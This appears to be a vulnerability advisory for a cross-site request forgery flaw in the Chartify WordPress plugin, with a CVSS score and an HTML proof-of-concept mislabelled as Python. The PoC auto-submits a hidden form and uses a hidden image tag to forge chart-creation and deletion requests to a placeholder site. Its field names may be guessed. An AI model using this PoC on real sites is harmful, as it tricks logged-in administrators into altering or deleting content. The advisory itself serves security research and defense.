Cross-Site Request Forgery (CSRF) vulnerability in Ays Pro Chartify chart-builder allows Cross Site Request Forgery.This issue affects Chartify: from n/a through <= 3.6.3.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Chartify <= 3.6.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-66529 - Chartify Plugin -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack PoC - Chartify</title>
</head>
<body>
<h1>Chartify CSRF Vulnerability PoC</h1>
<p>This PoC demonstrates the CSRF vulnerability in Chartify plugin <= 3.6.3</p>
<!-- Auto-submit form for chart creation/modification -->
<form id="csrfForm" action="https://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
<input type="hidden" name="action" value="chartify_save_chart">
<input type="hidden" name="chart_title" value="Malicious Chart">
<input type="hidden" name="chart_data" value="malicious_data">
<input type="hidden" name="chart_type" value="bar">
<input type="hidden" name="security_nonce" value="">
</form>
<!-- Alternative: Image tag with auto-load for GET-based operations -->
<img src="https://target-site.com/wp-admin/admin.php?page=chartify&action=delete&chart_id=1"
width="0" height="0" style="display:none;">
<script>
// Auto-submit the form when page loads
document.getElementById('csrfForm').submit();
console.log('CSRF request sent');
</script>
<p><strong>Note:</strong> Replace 'target-site.com' with the actual WordPress site URL.</p>
<p><strong>Defense:</strong> Add CSRF tokens and validate request origins to prevent this attack.</p>
</body>
</html>